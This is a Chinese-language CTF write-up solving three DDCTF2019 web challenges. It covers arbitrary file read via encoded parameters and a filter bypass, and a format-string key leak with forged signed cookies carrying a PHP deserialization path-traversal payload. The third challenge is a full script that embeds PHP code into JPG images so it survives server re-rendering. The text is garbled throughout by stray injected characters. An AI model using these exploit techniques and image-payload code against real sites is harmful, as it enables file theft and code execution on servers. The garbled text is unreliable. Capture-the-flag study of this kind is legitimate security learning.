聲明:語言表達(dá)能力有限甥捺,本問僅供學(xué)習(xí)參考淹辞,大佬勿噴牛隅!
本文主要記錄
DDCTF2019
中部分web賽題的解題過程,僅學(xué)習(xí)參考使用脑蠕。
滴~
解題過程
1).首先打開題目购撼,url為http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
,圖中出現(xiàn)兩個(gè)flag.jpg,和一個(gè)心情復(fù)雜的表情包份招∏薪遥看一下源碼,發(fā)現(xiàn)應(yīng)該是將文件內(nèi)容進(jìn)行base64編碼锁摔,然后當(dāng)作圖片的內(nèi)容輸出。
2).第一反應(yīng)是文件包含哼审,jpg參數(shù)看不懂谐腰。TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
,解碼看看涩盾,通過先進(jìn)行兩次base64解碼十气,再對解碼解碼進(jìn)行16進(jìn)制解碼,發(fā)現(xiàn)結(jié)果為flag.jpg
春霍。由此可以知道砸西,文件名需要先進(jìn)行16進(jìn)制編碼,再進(jìn)行兩次base64編碼址儒。
3).嘗試讀取/etc/passwd
芹枷,但是好像不能夠目錄跳轉(zhuǎn),過濾了/
莲趣。
4).試一試讀取index.php內(nèi)容鸳慈,初步猜想,讀取源碼喧伞,進(jìn)行代碼審計(jì)走芋。
5).將base64部分解碼,得到index.php源碼如下潘鲫。
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
6).看來思路沒錯翁逞,接下來看文件代碼,發(fā)現(xiàn)代碼是一些基本的功能輸出溉仑,并沒有解題的線索挖函,唯一吸引注意的是注釋部分,發(fā)現(xiàn)了一個(gè)博客地址彼念。
打開博客挪圾,再別人提示下注意到這篇文章,看到這我不得不吐槽一句逐沙,出題人腦子有坑吧哲思,線索在博客中就不說了,你倒是直接鏈接到這篇文章也行啊吩案,坑爹棚赔!接下來看看這篇文章,其實(shí)沒啥看的,就是linux下文件意外退出靠益,會留下一個(gè).swp交換文件丧肴。
7).那就是文章中說的這個(gè)practice.txt.swp
隱藏文件吧。于是繼續(xù)讀取文件源碼吧胧后,還是將practice.txt.swp
文件通過hex()——>base64()——>base64()
順序編碼芋浮,然后讀取內(nèi)容。
看到了
practice.txt.swp
里面內(nèi)容為f1ag!ddctf.php
壳快,到這個(gè)地方明顯離成功不遠(yuǎn)了纸巷,應(yīng)該就是繼續(xù)讀取f1ag!ddctf.php
文件內(nèi)容了。
8). 之前在讀取index.php文件時(shí)候眶痰,注意以下代碼瘤旨。
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
很明顯意思就是文件名在
a-zA-Z0-9.
中,不能有!
竖伯,但是下面一行代碼是將config
字符串替換為!
存哲,分析完其實(shí)很簡單了,要將f1ag!ddctf.php
名變成f1agconfigddctf.php
就行了七婴。
9).讀取f1ag!ddctf.php
內(nèi)容祟偷。
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
10). 審計(jì)f1ag!ddctf.php
,發(fā)現(xiàn)這個(gè)出題人可能腦子短路了吧本姥,在這先說結(jié)論肩袍,php代碼中$content=''
,因此我們只需要傳入uid=
即可拿到flag
婚惫,因?yàn)轭}目本身就不存在名為hello
的文件氛赐,或者就是hello
文件里面為空,所以file_get_contents($k)
的值返回false
先舷,然后再經(jīng)過trim()
函數(shù)false
被轉(zhuǎn)換成空字符串""
艰管,因此,傳入uid
等于空即可繞過判斷得到flag蒋川。注意此處絕對不能想錯了誤以為file_get_contents($k)會將返回值復(fù)制給變量牲芋。因此說出題人本來是想考察extract()
變量覆蓋的,結(jié)果弄巧成拙,代碼中即使==
換成===仍然成立
捺球,這樣看來這道題最后還變簡單了缸浦。
假如我將
$k
值覆蓋掉為一個(gè)存在的文件名config.php
,如下:
看到此處相信都明白我所說的意思了吧氮兵,如有疑惑建議親自動手實(shí)踐解惑!
WEB簽到題
-
題目地址
解題過程
- 首先打開題目裂逐,如下圖所示:抱歉,您沒有登陸權(quán)限泣栈,請獲取權(quán)限后訪問-----
- 很明顯首先要繞過認(rèn)證才能訪問卜高,通過源碼信息查看弥姻,發(fā)現(xiàn)了一個(gè)
ajax請求
,如下所示:
- 發(fā)現(xiàn)
didictf_username
字段可能是一個(gè)認(rèn)證字段掺涛,于是走流程抓包發(fā)現(xiàn)didictf_username
字段庭敦,但是不知道名字啊,這個(gè)時(shí)候就要根據(jù)經(jīng)驗(yàn)了薪缆,試試admin
吧秧廉,果不其然,通過驗(yàn)證矮燎,如下所示:
- 通過驗(yàn)證之后顯示結(jié)果為:您當(dāng)前當(dāng)前權(quán)限為管理員----請?jiān)L問:
app/fL2XID2i0Cdh.php
- 下面接著訪問
app/fL2XID2i0Cdh.php
定血,發(fā)現(xiàn)了是兩個(gè)php文件源碼,這就很明顯了诞外,接下來就是代碼審計(jì),繞過流程灾票,輸出flag了峡谊。
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您當(dāng)前當(dāng)前權(quán)限為管理員----請?jiān)L問:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您沒有登陸權(quán)限刊苍,請獲取權(quán)限后訪問-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建議為8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
分析這兩個(gè)php文件既们,僅僅兩個(gè)類而已,不過本人太菜正什,分析了1天啥纸,第一個(gè)文件
app/Application.php
定義了一個(gè)Application
類;第二個(gè)文件app/Session.php
也是一個(gè)類婴氮,不過這個(gè)Session
類是繼承于Application
類斯棒,然后最后定義一個(gè)對象ddctf
,這個(gè)對象調(diào)用index()
函數(shù)。大概過程就是這樣主经,比較簡單荣暮。主要就是里面的東西。接下來稍微具體的分析下兩個(gè)文件里面功能設(shè)計(jì)罩驻。
第一個(gè)文件:首先是定義了一個(gè)
$path
穗酥;然后是response()
函數(shù),這個(gè)函數(shù)主要是輸出信息的惠遏,接著是auth()
認(rèn)證函數(shù)砾跃,這個(gè)就是控制訪問權(quán)限的,可以看到要想通過認(rèn)證节吮,必須使$_SERVER['HTTP_DIDICTF_USERNAME']
等于admin
,即HTTP頭部字段didictf_username
為admin
抽高;接下來是sanitizepath()
函數(shù),這個(gè)函數(shù)是對變量path
的字符串的過濾课锌,這個(gè)地方隨后會用的到厨内,開始沒想到這個(gè)地方;接下來就是類中的析構(gòu)函數(shù)__destruct
雏胃,可以看到,如果path
變量為空方仿,就會退出统翩,path
變量長度不是18位也會退出,最后是讀取path
路徑的文件內(nèi)容并使用response()
輸出委粉。
第二個(gè)文件:繼承于上個(gè)文件中的類,之前說過娶桦,里面開始定義了一些類中變量贾节;下面第一個(gè)函數(shù)為
index()
函數(shù),這個(gè)文件在這里面也是相當(dāng)于一個(gè)主函數(shù)了衷畦,里面主要調(diào)用的是session_read()
和session_create()
兩個(gè)函數(shù)栗涂,同時(shí)還使用parent
關(guān)鍵字調(diào)用使用父類中的response()
函數(shù);還有一個(gè)get_key()
函數(shù)祈争,功能是相當(dāng)于讀取../config/key.txt
中8位的密鑰吧斤程,之前也有提示下面會用到,不過此處有個(gè)提示//eancrykey and flag under the folder
,提示說的是flag
也在這個(gè)文件夾下菩混。
具體還是說一下
session_read()
和session_create()
兩個(gè)函數(shù)忿墅,在index()
函數(shù)里面,如果請求包里面沒有設(shè)置cookie
就會啟用session_create()
函數(shù)墨吓,反之球匕,設(shè)置有cookie
,就會調(diào)用session_create()
函數(shù)。session_create()
函數(shù)是創(chuàng)建cookie的函數(shù)帖烘,里面沒什么要說的亮曹;session_read()
函數(shù)是讀取cookie,通過分析可以知道秘症,如果我們知道key就可以任意構(gòu)造cookie了照卦,關(guān)鍵是如何將key值輸出。關(guān)鍵代碼如下:
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
可以看到此處有輸出數(shù)組乡摹,但是關(guān)鍵此處輸出只能輸出nickname的值役耕,因?yàn)閚ickname的值把%s占位符替代之后,循環(huán)到
$this->eancrykey
時(shí)候聪廉,就無法輸出$this->eancrykey
瞬痘,例如假如post的數(shù)據(jù)為nickname=zzqsmile,this->eancrykey拆撼,仔細(xì)想下可能會想到吧闸度,就是直接傳入%s
作為nickname變量的值,這樣就能夠?qū)⒈闅v到$this->eancrykey
的值拼接到this->eancrykey的值就可以隨便構(gòu)造Cookie。
分析到這较木,人已經(jīng)蒙了伐债,怎么才能輸出flag呢?這時(shí)候又要回去看
Application.php
文件中類的析構(gòu)函數(shù)了虹蒋,析構(gòu)函數(shù)中可以讀取$path
的文件內(nèi)容魄衅,因此晃虫,僅僅需要用心構(gòu)造好一個(gè)cookie扛吞,將文件路徑寫進(jìn)$path滥比,等到觸發(fā)析構(gòu)函數(shù)的時(shí)候讓其輸出flag文件內(nèi)容,此時(shí)又需要一個(gè)腦洞山憨,通過提示知道文件路徑是18位玛迄,flag文件和key在一個(gè)文件夾下蓖议,因此猜想路徑為../config/flag.txt
,正好18位。但是之前對../
進(jìn)行過濾了修然,所以在構(gòu)造序列化對象時(shí)候要構(gòu)造成..././config/flag.txt
愕宋,分析完之后就開干中贝。
訪問
app/Session.php
文件。
可以看到開始沒有cookie時(shí)會設(shè)置cookie老厌。
可以看到圖中標(biāo)記紅色部分
1a303cbea7ecff312df1cbd194e1def0
即是$cookiedata.md5($this->eancrykey.$cookiedata);
的結(jié)果。這個(gè)cookie是通過是一個(gè)合法的cookie淀弹,那么如果我們將這段合法的cookie帶進(jìn)頭部薇溃,程序是不是就會讀取這段cookie了琉用,這樣程序就會執(zhí)行到session_read()
里面邑时,如下:
沒毛病桶癣,按照之前分析躯保,下一步得到
$this->eancrykey
的值EzblrbNS
,不過此處要注意的是Content-Type:
字段值是否為:application/x-www-form-urlencoded
叔遂,關(guān)鍵點(diǎn)都已在下圖標(biāo)出。
得到
$this->eancrykey
值接下來就寫個(gè)很low的腳本構(gòu)造下cookie。
<?php
Class Application {
var $path = '..././config/flag.txt';
}
//$this->eancrykey
$zzz = new Application();
$b = serialize($zzz);
echo "$b";
echo "<br>";
//$b// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}
$a = $b.md5('EzblrbNS'.$b);
echo $a;
//$a// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2
//
echo "<br>";
echo urlencode($a);
//urlencode($a)// O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2
?>
帶入構(gòu)造的cookie成功拿到flag涩笤。
Upload-IMG
1). 按照給的認(rèn)證用戶名,密碼進(jìn)入題目
通過測試發(fā)現(xiàn)恩沽,主要是只能上傳圖片罗心,題目是通過文件內(nèi)容中有
phpinfo()
字符串來決定是否通關(guān)的疾瓮,測試發(fā)現(xiàn)狼电,上傳的圖片是被經(jīng)過二次渲染
的肩碟,因此腾务,就要繞過二次渲染岩瘦,使其phpinfo()
內(nèi)容不發(fā)生改變。
2). 直接用據(jù)說國外牛人寫的腳本制作圖片馬密末。
腳本jpg_payload.php:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
- 使用方法
1). 隨便找一個(gè)jpg圖片,先上傳至服務(wù)器然后再下載到本地保存為1.jpg
2). 使用腳本處理1.jpg,命令php jpg_payload.php 1.jpg
親測有效,不愧是大佬迷帜,穩(wěn)了一P。
- 參考
<完>太菜了锦针,只能玩到這了割粮,寫的不好別噴舀瓢,坐等其他Writeup